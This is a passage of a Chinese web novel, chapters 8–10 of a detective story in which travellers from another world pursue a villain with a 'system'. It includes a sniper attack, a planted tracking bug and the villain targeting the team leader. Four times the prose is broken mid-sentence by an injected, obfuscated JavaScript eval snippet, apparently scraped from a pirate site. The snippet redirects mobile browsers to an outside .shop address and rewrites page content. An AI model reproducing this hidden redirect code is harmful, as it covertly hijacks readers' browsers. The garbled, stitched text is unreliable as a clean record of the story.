“怎么会这样,可是这是备份的监控资料啊,怎么也会被篡改?”乔琅呆愣愣望着屏幕上的自己,悬在半空中的手一点点攥成拳头放下搭在桌上。 “这就是我们追查艰难的地方之一,不管我们用什么办法备份、加密甚至更改文件数据,但只要是这段录像这些画面,不管有几份,反派都能删掉他想删的部分,无一例外。”谭誉道站在一旁解释,对这情况麻木到失去震惊和失望的情绪了。 1队成员已经经历过好多回了。他也曾气恼到崩溃流泪,恨自己永远抓不到反派的尾巴。 说这些的时候,姜韫已经联络了警局。 “警局说,负责查监控的人正好看到了原本正常的录像变成黑屏,在15:08分。” 燕逸岫把自己录下的音频翻出来定位到15:08,这个时间差不多就是欧徽对神秘人说完自己在哪遇到人并拍下照片的。 难道那人当时开着实时通讯与反派联系?难道那个人就是反派? 要是当时自己能想办法看一眼的话…… 燕逸岫万分懊恼。 落在肩膀上的力道拉回她的思绪。 姜韫手按在她肩上,直视着她,嘴角弯起:“不要自责内耗,不是你的问题,你做得很对,在不知道对方深浅的情况下贸然行动,被发现了恐怕只有死路一条。” “你第一次出任务就遇到这样的危险,能平安活着回来已经很厉害了,而且还带回这么多线索,好好活着今后才能找出更多线索抓到反派,对吧?” “还有你,”她又摸了摸坐着的乔琅的脑袋,“监控早就被篡改了,不是你的问题,你已经找得很快了,人员筛查就交给怀霖和渊知,你把这五分钟里其它街道出现的女性的对应身份传给渊知排除,缩小范围,然后就继续查江平延的行动路线,好吗?” 乔琅抿着唇用力点头。 燕逸岫偏头,看到廖怀霖盯着虚拟屏,目光复杂,蹙紧了眉头,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564305|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在想什么。 姜韫和谭誉道继续对昨晚江平延案件的研究,催促刚经历了危险的燕逸岫回家休息或是去楼上的全息影像室放松一下。 大家都还在这里,她不好意思一个人先走,所以选了后者。 “砰!” 命中九环。 但燕逸岫不满意地啧了一声,松开握着枪的手。 反派手眼通天的手段让她十分烦躁,还有对未来的隐隐心慌。 她们……真的有办法和这种人抗衡吗? 其实燕逸岫对死亡没什么恐惧和抗拒,或许是因为社恐导致她在生活中经历过不少挫折和煎熬,有时候她会和朋友吐槽自己这种性格死了的话算是解脱。 不过她不会寻死觅活,而是在一次次心理自我调节中学着慢慢躺平看淡。 死了挺好的,没死也能凑合活着。 她不在乎死亡在什么地方等着她,但她如今不是孤身作战,她的命运和破暗行动组的其她队友们连在一起,她感受得到所有人对活着回家的执著与渴望。 所以她不能轻易放弃,每一次行动,每一次观察,甚至无意中的一个动作,都可能引发蝴蝶效应,影响后续的发展和结局。 系统说过,只要一个人存活到最后完成任务,其余人都可以复活。 她不是全知全能的救世主,她可能没法活到最后,但是…… 她想尽自己的力量让她们活得更久。 燕逸岫再次抬手握住了悬浮在空中的全息手枪。 虽然是虚拟影像,但握住之后依然有自动开启接受地心引力作用的效果,产生向下坠的力,让人感觉到握着的是一把真实的手枪。 燕逸岫瞄准了对面的靶子。 她脑海中浮现出姜韫温柔的笑,乔琅不甘心的哽咽,廖怀霖望着黑屏的样子,还想起季渊知没有保存的一万字研究报告。 她想起刚才大家的沉默与无可奈何。 “现在开始好像……”燕逸岫把靶子想象成反派的脑袋,咬牙切齿喃喃自语,“特别想活着。” 她毫不犹豫扣动扳机。 银色的虚拟子弹穿透了十环靶心,转了一圈飞回子弹盒里。 燕逸岫眼中怒火不减。 她要和队友们一起,揪出这个嚣张的杀人犯。 她在全息室里练了一小时,还请系统调出负责近身战训练的小黑出来陪她活动活动。 不过她也知道自己的体力,所以只设定了五分钟。 燕逸岫本想着这回一定要壮起胆子回击几拳,挨几下打也没关系,但小黑仿佛记得她,一开始就使出了超过第一次测试的水平,拳头还没招呼到脸上就让人感觉幻痛。 燕逸岫吓个半死,又开始了拿手的躲避战术,满屋子飞窜躲开追杀。 这回她也留意到了,小黑会一直自动上调速度值和力量值,耗得越久,挨打越痛。 既然会更痛,那她也更不想被打到了。 于是燕逸岫拼命起来,竭力发挥出自己的极限速度。 她有些后悔设定五分钟了,感觉自己持续跑了好几个八百米,简直痛不欲生。 燕逸岫闪避开对方的一个回旋踢,趁隙瞄了眼时间。 还有一分钟。 但是她体力快耗尽了。 8. 隐棋 燕逸岫大口大口喘气,汗水从脸上流淌而下浸湿了衣领,冷冰冰紧贴在肩上。 昨天刚剧烈运动了一回,下午又暴走好几小时,明天估计爬都爬不起来了。 因为被愤怒冲昏了头脑,就豪情万丈地加量训练,完全忘记了自己浑身都还肌肉酸痛着。 燕逸岫后仰躲开一道横拳再站稳,准备迎接它的下一轮攻击,但就在这时,耳边的一绺短发飞到脸上,被汗水黏住,不巧挂在了眉间,发尾斜斜弯下,遮挡住了她的视线。 完了! 燕逸岫一刹那心脏骤停。 在黑影面前,一秒钟的迟钝都是“致命”失误。 燕逸岫做好了挨揍的心理准备。 “呼——” 与此同时,她突然听到了细微的风声近在耳边。 转瞬间她意识到这是拳头带起的风。 在左边,略高于自己的头。 燕逸岫反手扶住身后的墙做支撑,迅速往右斜身倒去,踉跄几步稳住步伐,边把碎发挽到耳后固定。 视野再度清晰后,她松了一口气。 勉强躲过了,好险。 这次五分钟的近身战结束,小黑和上次一样没有抓到燕逸岫,顶多只有被她飞起的头发扫到手背。 燕逸岫瘫坐在地上休息,这回真的是短时间内都动弹不得了。 训练室的门从外面打开了。 秦观秋进入屋里,笑眯眯地大步来到坐在地上的人面前。 “好厉害啊逸岫,你以前有接受过什么训练吗?还是接触过什么灵活性强的运动?” 燕逸岫累得说不出话,只能费劲地摇了一下头。 “给你,”秦观秋把背在身后的水递过去,贴在她热红的脸颊上滚几圈降降温,“所以是天生身手敏捷吗?太难得了,这可是我梦寐以求的天赋。” “以后有时间的话可以来找我,我教你练拳,”秦观秋收回胳膊,把瓶盖拧开了再送到燕逸岫手中,“有这种程度的闪避能力,再加点攻击力,走到外面恐怕没人能拿你怎么样。” 心跳慢慢恢复正常后,呼吸顺畅了些,燕逸岫才哑着嗓子问道:“我想学俄式大摆拳,可以吗?” 秦观秋哈哈大笑:“当然可以!想学什么都可以,如果是我没接触过的,我也抓紧时间学会来教你们。” “谢谢你。” 喝下了几口水润嗓子,热意被清凉之气驱散,燕逸岫顿时觉得舒服多了。 “说什么谢谢啊,真生分,我们以后可是队友了,我本身是拳馆教练,被系统选中带到这里,主要就是为了保护大家的安全和追捕擒拿嫌疑人。” “你自己也要多加小心。” “我知道,还有,等完成任务回到原来的世界,你有时间也要来我的拳馆玩一玩啊,可不能各回各家就忘记队友了。” “不会的。” 秦观秋笑着拍她的背。 精通泰拳俄式摆拳各种拳的人,力气之大可想而知,秦观秋自以为温柔亲切的安抚,其实差点把正虚弱的燕逸岫扇散架捶吐血。 又休息了一会儿,燕逸岫才慢吞吞站起来,准备下楼看看研究组的情况。 秦观秋风风火火往前走,先行一步刷脸打开了门。 望着她高大的背影,燕逸岫不由得捏紧了手中的瓶子。 虽然她不如秦观秋强,但她也想尽己所能保护大家。 大家的心愿,她都一句句刻在心里。 如果能回到原世界的话…… “这就是筛选出来的三个人了。欧徽约见的那人要找的女性,可能就在其中。” 燕逸岫和秦观秋回来的时候,正好出了结果。 “这三人都比较符合条件,且近期行踪不明,警方那里没有接到相关报案所以未录入失踪人口。我们尽早赶去搜集线索,找出对方可能藏身的地方,说不定还来得及从反派手中救人。” 姜韫目光扫过众人:“温簌目前还在天均区跟踪另一个嫌疑犯,这三人就交给我、誉道和……” 姜韫还没想好人选,就看见站在最后面的燕逸岫悄摸摸举起了手,像个小学生一样,紧抿着嘴,眼睛亮晶晶瞧着她,视线一接触,她又立刻不好意思地半垂眼帘避开,不过手仍然举没放。 “逸岫,你今天已经很累了,再跑一趟的话吃得消吗?” 她那瘦如纸片的身板让姜韫忍不住担心。 “没问题的。”燕逸岫用力点头,小声回答一句。 “好,那就出发吧,对应资料都发给你们了,保持联络,小心行事,注意安全。”姜韫言见她坚持,便没有再多说什么,言简意赅交待完就让大家各自准备装备。 三人依次从不同出口离开了大厦。 出来后才发现,毒辣的午后阳光早已被遮个严严实实,天空阴云密布,隐有雷鸣。 尽管这回来到的是天均区,燕逸岫还是严谨地换了一身衣服,以防被什么人发现自己就是早些时候在其它区暴走的那个人。 天均区是名副其实的富人区,住在这片繁华之地的都是各行业的精英人才,非富即贵。天均区目之所及都是豪华大厦和漂亮别墅,配着各种智能设备,十分高档。 贫穷人士燕逸岫哪见过这场面,眼睛都快看直了。 当务之急是寻找目标的下落,燕逸岫赶紧挥开杂念,做起了准备工作。 分配给她核实情况的是一位名为昆隐棋的公司董事长,是个总在内卷自己的工作狂精英,然而她最近却一反常态,没有出现在公司,也没有向任何人透露自己的行程,只时不时把工作上的事安排好通过“宙”发给副董事长处理。 助理等人担心出了什么事,也曾多次打电话或发消息联系确认她的状况,昆隐棋也都是以正常语气回复她们自己很安全,不必担心,不过仍然只字不提自己在哪、在做什么。 没碰上什么事会平白无故强调自己现在很安全吗?燕逸岫听着就觉得有些古怪。 于是,她向大队长汇报了自己拟定的计划后,就直奔资料里给出的董事长独居别墅地址。 据调查,监控、车库都没有昆隐棋的身影和车辆入库出库记录,别墅里的水电消耗也是零,因为最近似乎都没有人住。 她就像她的名字似的隐去踪迹了。 燕逸岫打算等天色暗些再想办法潜入别墅里寻找线索,现在不方便行动,先找个地方先摸清别墅内部的情况比较好。 找准目标位置后,燕逸岫没有靠近,而是往反方向走,来到与别墅隔着一千米左右但与之遥遥相望的豪华酒店。 有好几个人正在前台自助区办理入住,燕逸岫默默挪进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564306|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门。 虽然还有几台机器可供办理,无人使用,但燕逸岫还是打开了“宙”,假装正忙着和朋友打电话,边聊边在大厅踱步,实则是偷感很重地来回晃悠观察他们是怎么操作办理的,暗暗记下,以免自己对智能机不熟悉闹出什么问题而引起别人怀疑。 通过偷看确认流程后,她就找了一台远离其他人的机器一顿操作,火速办理完手续,朝电梯走去。 现在没有人同乘。燕逸岫暗觉庆幸,在屏幕上点击了3楼。 电梯门匀速关合。 即将紧闭时,一只手突然如斧头劈进来,横在中间,吓了燕逸岫一大跳。 感应到人的存在,电梯又重新打开了。 一个背着高尔夫球袋的女人走进电梯,边笑着和某个朋友通电话。 “我已经到酒店休息了,嗯,明天继续一起练啊,你可别偷懒,好明天我请客我请客……” 她瞥一眼屏幕上亮起的数字,没有别的动作。 燕逸岫则缩在电梯角落,低着头盯自己鞋尖发呆。 三楼到了,燕逸岫等对方先迈步了,才跟在她身后走出去,两人分别刷开了301和303号房。 屋里的装潢同样壕无人性。但燕逸岫无心欣赏研究,她匆忙拉开窗户,找到合适的位置对准别墅。 她戴上具有望远镜功能的眼镜,手指捏住镜框上的一节环扣缓慢转动,调整距离,趁着现在雨还没下,天色还算亮堂,抓紧时间透过别墅玻璃窗观察到里面的环境。 毕竟无人居住,晚上不会开灯,天一黑什么都看不清。 别墅窗帘几乎全都拉开着,坦坦荡荡,似乎根本不怕人看,也没有隐藏什么。 屋内是极简风设计,清爽舒适,以黑白灰为主要搭配颜色,如今深色家具上落了一层明显的灰尘。 燕逸岫的目光仔仔细细在看得到的地方都转了一遍,发现昆隐棋家中连机器人都不见踪影,不禁觉得奇怪。 不一会儿,她余光留意到道路上出现了一辆开开停停的大货车,是机器人拉着一车子快递正在送货中。 到了有快递要取的住户门前,快递箱上的芯片会自动感应响起,机器人就将对应快递像抓娃娃似的抓出来放进门外的感应柜中。 经过昆隐棋家门外时,大货车也停了下来。 燕逸岫立刻直起了腰认真观察。 出人意料的是,它并不是来送快递,而是机器人扫描了感应柜,从柜子里收走了一个快递。 这是什么情况? 燕逸岫打字询问了微系统,得知如果快递放在置物柜里一个月没人确认领取就会自动被收回,送回寄件地址。 确实是和昆隐棋消失的时间对得上,她已经将近两个月没有出现在众人面前了。 坐在驾驶位的机器人抓起快递箱提到空中匀速移动,准备放回车厢内。 燕逸岫注视着那个巨大的快递箱,微微睁大了眼,脑海中隐隐浮现出了一个离谱的念头。 该不会…… 这时她的思绪被一道声音打断。 很轻微的声响,但燕逸岫捕捉到了,心中顿时警铃大作。 是子弹上膛。 下一刻,一发发子弹横越几条街飞往别墅方向,径直穿透那还在空中移动的快递箱,几乎把它打烂成两段。 9. 窃听只有零次和无数次 在即将惊呼出来之时燕逸岫抬手及时捂住口鼻,不让对方察觉到动静。 杀手应该是配备了高级消音器,一连十发子弹都没产生什么噪音,很难引起周围的注意。 若不是她听力敏锐加上正好目击了射杀场景,否则即使她就在附近,恐怕也不会把这种声音当一回事。 她判断出声音来源在左侧,离得很近,很有可能就是与她同乘电梯的303号房客人,她背着的高尔夫球袋只是携带狙击枪的掩饰。 竟然胆大到青天白日下在三层楼的低空连开数枪,似乎根本不在乎会不会被路人目击到射击位置,也不在乎会不会误伤无辜的人,只想着尽快解决掉目标对象。 这么看来,昆隐棋大概率就是神秘人在找的女性了。 燕逸岫三两下调出微系统让屏幕停在这一位置持续录像,并将其转至行动组群中同步信息。 接着她踮起脚无声无息来到门边,从挎包里取出一片窃听器贴在在自己房门底下,好掌握杀手离开的时间与路线。 自动连接上微系统的窃听器开始运作,燕逸岫再次回到窗前,紧张地注视着远方,边留意走廊外的声响。 幸运的是,预想中最糟糕的情况没有发生,破损的纸箱里没有滴淌出鲜血,没有飞出残肢碎块,只有被子弹打碎的金属零件稀里哗啦散了一地。 很快半截纸箱坠落砸在地上,露出了里面价值不菲的最新款家居机器人,可惜还没激活使用就报废了。 燕逸岫心中悬着的大石头稍微放下了。 她本也猜测过是昆隐棋或者她的尸体藏在快递箱里,还打算记下车牌号追过去,找个机会爬进车里拆箱检查,没想到303里的杀手会等不及直接开枪。 不过也正好省了她跑去追快递的时间。 对方急躁的行动让燕逸岫陷入沉思,回想起昨天神秘人那咬牙切齿的诡异兴奋,燕逸岫更加怀疑昆隐棋不只是一个简单的暗杀对象而已。 也不知道还有没有别的杀手在其它方位监视昆隐棋的住所,燕逸岫开始考虑自己深夜闯空门的计划太过冒险了。 姜韫接收了燕逸岫和谭誉道汇报的情况,也认为昆隐棋就是神秘人的目标,于是迅速将这一判断告知研究组待命的三人,让她们马上展开对昆隐棋的彻底调查。 “队长,接下来我要怎么行动?”燕逸岫后退远离窗户,边调整镜头继续关注别墅前的动静,边压低声音询问。 “杀手还在吗?” “走廊还没有人走动。” “别墅那边暂时交给温簌,我已经让她赶过去了,你和杀手同乘过一部电梯,她可能认得你,继续跟踪被发现的风险太大了,你稍微把握一下,拍下杀手容貌就撤退。” “好。” “注意安全。” “明白。” 燕逸岫收起微系统屏幕。 已经有几个人围到送货车旁看情况,神色惊讶又害怕,明知有危险应该赶紧离开,但还是抵不住好奇心,指着纸箱上和机器人身上的弹孔,与身旁的人聊着什么。 不仅有小孩在乱窜,还有老人家,哪怕腿脚不利索,颤颤巍巍拄着拐杖也要挤进人群凑热闹。 燕逸岫不禁害怕因为杀了个空而恼羞成怒的杀手会胡乱扫射人群泄愤。 好在对方没有这么做,而是收拾好枪械准备离开。 听到303房门打开,有脚步声出来,燕逸岫贴在门边墙前,屏住呼吸。 直到那人进电梯了,她才取回窃听器开锁离开,选择从楼梯一路大步飞奔下楼。 到达一楼后,燕逸岫改成慢步走,扫视大厅,找到了背着高尔夫球袋的身影。 那人即将走到玻璃门前,燕逸岫谨慎地往墙后躲了躲,以免玻璃门映出她偷偷摸摸的影子。 默数几秒后,她才穿过大厅,神色如常离开,打车跟上。 燕逸岫没想到她竟然直奔昆隐棋的别墅。 到了附近,杀手下车步行,装作无关人员也加入了人群中,不知道有什么目的。 燕逸岫站在树下远远望着,突然有了一个大胆的想法。 但又好像有点过于大胆了。 于是她再次联系姜韫说出自己的想法,征得了她的同意。 “……系统,你在吗?”燕逸岫开始准备行动,不大确定地在心里问了一句。 “我在。” 飘渺的声音似乎从四面八方而来拂在她耳边。 燕逸岫定了定心神。 系统曾经解释过,系统等级会因吸收宿主的强烈情绪、执念和能力而有所提升,很显然反派系统已经进化到比它更强的水平,有些手段是它目前无法破解和复刻的。 大家对我方宿主的身份十分好奇,可惜系统守口如瓶,没有透露一字半句。 “你说你目前还无法像反派那样随意篡改监控……”燕逸岫抬眼扫视四周的监控,下巴一扬,“但是搞点破坏是没问题的对吧?” “当然。” 燕逸岫五指穿进发间,把被风吹乱的头发顺了几下,迈步走向前方。 她低着头也挤进人群凑热闹,靠得近了,才明白大家迟迟不散的原因。 一个拄着拐杖的老太太被后面的人挤得摔倒在地,于是她就坐在碎片堆中不起来,挥舞拐杖指着挤她的人破口大骂。 大家的注意力都集中在老太太那儿,已经移到杀手身后的燕逸岫趁着这一机会,踮起脚探身假装在往前张望,神不知鬼不觉地把夹在指缝里的窃听芯片推进她球袋的背带夹层中。 轻薄的芯片在启动后会像蜘蛛一样伸出几对细小的机械脚,牢牢扒住它所依附的东西加以固定。 “好啦好啦,老奶奶快起来吧,地上凉,”杀手扬起亲切的笑,走上前去叫停了吵架,温声细语哄着老太太,伸出手试图扶她站起来,“而且地上这么多碎片,没被扎到吧?” 眯着眼的老太太瞅了瞅笑吟吟的女生,再看向与她争执的路人,冷哼一声,说了句“我没事”。 她板着脸拒绝了好心人的搀扶,自己站起身,拄着拐杖慢吞吞走远了。 “大家都散了吧,不要妨碍机器人工作哦。” “妹子你小心哎,有人用枪打的,你再碰快递说不定也会吃到枪子哎。” 杀手本想帮忙机器人搬箱子,听到路人好心提醒也摆出害怕的模样,后退几步,和大家一起目睹机器人操纵车上的机械臂,把装着残破家居机器人的箱子放回车厢内拉走。 燕逸岫静静躲在人堆里暗中观察,眼尖地发现了她的小动作。 她假装走到左边要搬箱子,实则趁机迅速抠走了快递上的芯片,被人喊住后又假装害怕,顺势往后退,退到了别墅大门边靠着,一手背在身后用刚偷来的芯片贴在感应区。 置物柜因此自动打开,刚移开一条缝,杀手就把另一个芯片扔了进去,重新关上。 这一切,燕逸岫都用微系统录了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564307|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>送货车驶离后,人们也陆续散去,燕逸岫借着身材高大的路人的遮挡,避开杀手注意离开了。 燕逸岫脚步匆匆,打开了定位系统。 屏幕上红色的圆点正在缓慢移动。 安上了带有定位装置的窃听器,杀手去了哪里、与某人联系聊了什么就都能知道了。 收获可能不少,能进一步掌握线索,与此同时风险也很高,虽然微系统是一般人查不到的存在,但反派那边就难说了。 不过,姜韫她们已经被反派压制太多次了,好不容易抓住机会就必须放手一搏,哪怕会招致杀身之祸。 只要能引出反派,让他露出更多破绽,也就有了更多线索可供破暗行动组深入追查。 在这场以鲜血与生命为筹码的赌局中,她们早就做好了牺牲的准备。 燕逸岫忽然感觉额上一凉。 她仰头望天,越来越多的雨水落在她脸上。 本就是高温的天气变得更加闷热,湿漉漉的沉重。 在被淋成落汤鸡之前,小车及时抵达,载着燕逸岫驰骋在骤降的瓢泼大雨中。 上车后燕逸岫胡乱抹了一把脸上的雨滴,将窃听通讯和定位共享到群中。 过了好一会儿,窃听讯号终于有了波动。 “昆隐棋不在别墅里。” “哼,我还以为她去了那个地方之后就会马上回家一趟把最重要的东西带走。” 燕逸岫瞬间认出这是昨天的神秘人的声音。是他派了杀手去暗杀昆隐棋。 “放心,我把感应器放进柜子里了,只要她出现在住处附近,我就会收到提醒,到时候一定能抓住她。” “她一定会回去的,你给我好好留心,”神秘人冷笑几声,“一旦发现,就马上给我弄死那个该死的叛徒。” “是。” “还有一件事……什么?” 神秘人那端忽然止住了话头,沉默几秒后,他的声音重新靠近,不复刚才的懒散,而是气急败坏:“怎么回事!老大说你那有窃听器!?你被人跟踪了?” “什么?”杀手顿时慌张起来,翻找的声音盖过了说话声,“怎、怎么会……” “蠢货!赶紧挂了,找出窃听器毁掉,我晚上再联系你,蠢货!一个个都是不中用的!” 电话切断了。 燕逸岫也当机立断启动了程序自毁,让窃听器在被发现前自动熔化销毁证据。 完成这一切后,她长舒一口气靠在椅背上。 果然被发现了,但好歹了解到了一些新线索,或许在后续调查中派得上用场。 燕逸岫想到刚才神秘人的话,抱起双臂思索,手指无意识地揪起自己的衣袖揉搓。 老大…… 能察觉到微系统的存在,被称为老大的人,很有可能就是拥有系统辅助的大反派。 如果是的话,这就是她第一次听到了反派的存在,尽管那只是一段间隔的无声。 也不知道将来哪一天她与反派会面对面碰上。在那时候,她认得出他的身份吗?她能活下来吗? 因为下着雨,小车开进了地下车库。 燕逸岫任由杂乱思绪在头脑中飘飞,从负一层搭乘电梯回到了白天集合的地方。 刚走进去,早些时候坐在地上破口大骂的老太太就出现在眼前。 听见她进门的动静,老太太佝偻着背转过头,锐利的目光如飞镖般掷向她。 燕逸岫傻了眼。 10. 消失的叛徒 她保持着左脚在前一个大跨步的姿势,僵在原地,和老太太大眼瞪小眼。 几秒后,凝固的气氛被廖怀霖憋不住的闷笑声打破。她笑得直接趴下去,手肘一不小心把靠在桌边的拐杖碰掉到地上。 其她人也随之一齐笑得东倒西歪。 “好啦温簌,别吓逸岫了。” 燕逸岫愣愣目睹老太太缓慢挺直了腰,展平了肩背,原地长高十几厘米。 皇上,三阿哥真的长高了。 “是、是温簌啊……” 温簌摘下灰白枯燥的假发,撕掉脸上和身上的伪装,露出她原本的模样,弯弯的眼眸里含着几份歉意。 “哎呀,忍不住想看看你会是什么反应,所以一直没换下来,没吓坏吧?” “没有,”燕逸岫也笑了起来,走到大家身边,好奇地打量那张凹凸不平的面皮,“易容术?好逼真啊。” 温簌提过自己在原世界是个糊穿地心的十八线小演员,也会跑剧组给大明星当武打替身,录制比较危险的片段画面,摸爬滚打多年攒了不少经验,伪装易容的本事逐渐精湛。 接到姜韫指示后,刚结束跟踪任务的温簌马上网购一套老年人服装,并就近找了个公厕躲在里面,从随身携带的包中挑选一套老年人的伪装皮贴上,再换上无人机快递送来的衣服,就火速前往事发地。 她挤进人堆里观察现场,眼尖发现了被压在金属碎片下的一颗子弹,于是温簌假装被推挤出去,精准地跌坐在想坐的地方,趁着一片混乱把子弹覆在掌下收入囊中。 她们这些穿越者的信息不在新世界数据库中,不用担心指纹和DNA会干扰调查。 拿到子弹证物后她拄着拐杖哆哆嗦嗦慢吞吞离开,又暗中启动微系统飞到别墅外围上空绕了一圈,仔细录下别墅的环境。 “所以能查到什么吗?”燕逸岫在季渊知为她拉开的椅子上坐下,活动几下脖颈。 姜韫指了指系统:“正在指纹数据库中做对比,啊,出来了。” 一张半身像展示出来,上方“对比成功”的绿色大字匀速跳动着。 看到屏幕上的面容,所有人都诧异地睁大了眼睛。 子弹上残留指纹匹配到的人,居然正是被追杀的昆隐棋。 “怎么会是她?难道杀手就是易容了的昆隐棋,这是反派组织演的一出戏吗?”谭誉道有些难以置信,探身看个仔细。 乔琅立刻反驳:“不是一个人,我研究了昆隐棋平常的走路姿势特点和习惯,和今天这个杀手完全不一样。” 她面前的屏幕上,密密麻麻都是正在播放着的视频,令人眼花缭乱,有些是监控录像,有些是昆隐棋自己或她的家人朋友拍摄发在社交平台的生活记录vlog。 燕逸岫她们出外勤的这段时间里,乔琅一直坐在桌前,仔仔细细研究昆隐棋这个人的行为习惯,找出规律和特征。 她能确定,昆隐棋并不是背着狙击枪的杀手。 姜韫把窃听器录下的内容重播了一遍。 “她一定会回去的,你给我好好留心,一旦发现,就马上给我弄死那个该死的叛徒……” 神秘人沙哑凶狠的声音在大厅回荡。 “反派方称昆隐棋为叛徒,说明她以前与反派有不浅的联系,说不定掌握着不少至关重要的信息,所以她叛逃躲藏后反派的人才会下死手追杀。” “但昆隐棋明显也不是个好对付的,不仅成功叛逃还彻底消失,连有系统辅助的反派都还没能抓住她。” “不过……她昨天却被欧徽目击到出现在天极区,现场附近,她和江平延的死,会不会也有什么关系?” “这枚子弹上有她的指纹,或许她还在组织里的时候也是作为狙击手执行暗杀任务的。” 听着大家梳理信息,燕逸岫仰头望向浮在空中的图像,照片上昆隐棋梳着整齐的中分,长发披肩,面对镜头扬起自信的微笑。 盯得久了,就觉得这位深藏不露的公司董事长似乎正透过屏幕与自己对视,目光灼灼,深棕色的眼睛闪着张扬的光芒。 要是能抢先一步找到昆隐棋…… 燕逸岫的心跳逐渐加快。 还有那人提到的对于昆隐棋而言很重要的东西到底是什么,为什么昆隐棋一定要回去拿,既然是很重要的东西,当初为什么没来得及带走? 从神秘人话语中的意思推测,他们认定昆隐棋会回家去取那样东西,所以早就设下埋伏,等着她走进陷阱。 然而她一直按兵不动,神秘人那边也因此越发浮躁起来。 “既然她昨天出现在天极区,”乔琅将长长卷发拨到背后,燃起斗志,“我就把天极区全部监控都看完,我就不信我找不到她。” “那别墅呢?反派方可能早就在里里外外全方位进行监视了,如果靠近别墅调查,暴露风险很高,但不查别墅又可能损失很多有价值的线索。”燕逸岫将自己的疑问小声说了出来。 姜韫叹了一口气,抬手揉山根:“没错,这一点我一直在盘算,还没决定好该怎么着手,我今晚会继续考虑清楚再和你们确认。” “总之,接下来江平延和昆隐棋两线并查。今天大家都辛苦了,时候也不早了,先回家吧,明天早上我会安排好任务,大家根据自己情况自由活动,待在家调查或者出外勤,有什么问题及时联络。” “好——” 所有人起身收拾自己的装备,道别后依次离开大厅,乘电梯去往一层或地下车库,各自搭乘小车回家。 “你先回家吧。” “老大,可是……” “我会处理,你回去陪家人吧,我没记错的话,今天是你妈妈的生日。” “……好的。” 脚步声逐渐消失在门外,房间里重归寂静,连呼吸声都听不见。 虚拟屏在黑暗中亮着浅淡的光晕,将桌前的人脸照出个朦胧轮廓。 “系统,日月今天的行动路线是什么,附近监控调出来,我倒要看看是谁,居然能查到她这儿来了。” “是。” 一面面监控放大拖出来,排列整齐飘在空中,上面播放着以昆隐棋住所为中心方圆百里的所有街道监控录像。 背着高尔夫球袋的熟悉身影出现在其中画面之一,日月刚从集合处出发,准备前往埋伏点。 录像左上角显示的时间秒数飞快变化着。 她进入了酒店执行狙击任务,十分钟内又离开了酒店。 没有发现形迹可疑一路跟着她的人。 接着,录像播放到日月打车到达别墅附近,她下了车合上门。 关门的一瞬间,浮在空中的所有监控遽然同时黑屏,无声融入屋内的黑暗中。 靠在沙发上的人影慢悠悠坐直起来。 “怎么回事?” “宿主,经探查,天均区全区监控都从这一时间起因不知名原因断电屏蔽,非后期篡改,因此无法修复再现。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564308|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 房中一时静如坟场。 不一会儿,一道低低的嗤笑飘了出来,随即消散在空中。那人重新倚回靠背,翘起二郎腿。 “越来越记仇了啊,那几个来自异世界的跳蚤,我不就改了几次监控,现在倒以牙还牙上了,明明早就暴露了身份,还在做这些可笑的无用功耀武扬威。” 搭在桌边的手指微抬,屏幕上拉出了一张照片。 明亮图像的光芒照出那双黑沉沉的眼和眼角的小痣。 “正好,这个月已经杀完一个该死的东西了,空闲下来无聊得很,该继续解决碍事的人了。” 抓拍到的照片上,姜韫站在街边一脸严肃地打电话,额前的碎发随风扬起。 风刮得越来越凶了。 燕逸岫拖着本就沉重的身体顶着大风费劲往前走,进入居民楼。 回到家后,燕逸岫迅速蹬掉鞋,游魂般飘进客厅一头栽倒在沙发上。 明明才度过了一天,她却累得仿佛已经奔波了好几个月。 她打开微系统看了眼自己的数据。 【五感】35 【敏捷】30 一天就增加了这么多,看来升级成异能指日可待了。 彻底放松下来后,手脚便更加沉重,动都动不了。 燕逸岫闭上眼睛,感觉自己正缓慢陷进柔软的沙发被活埋起来,有种诡异的安全感。 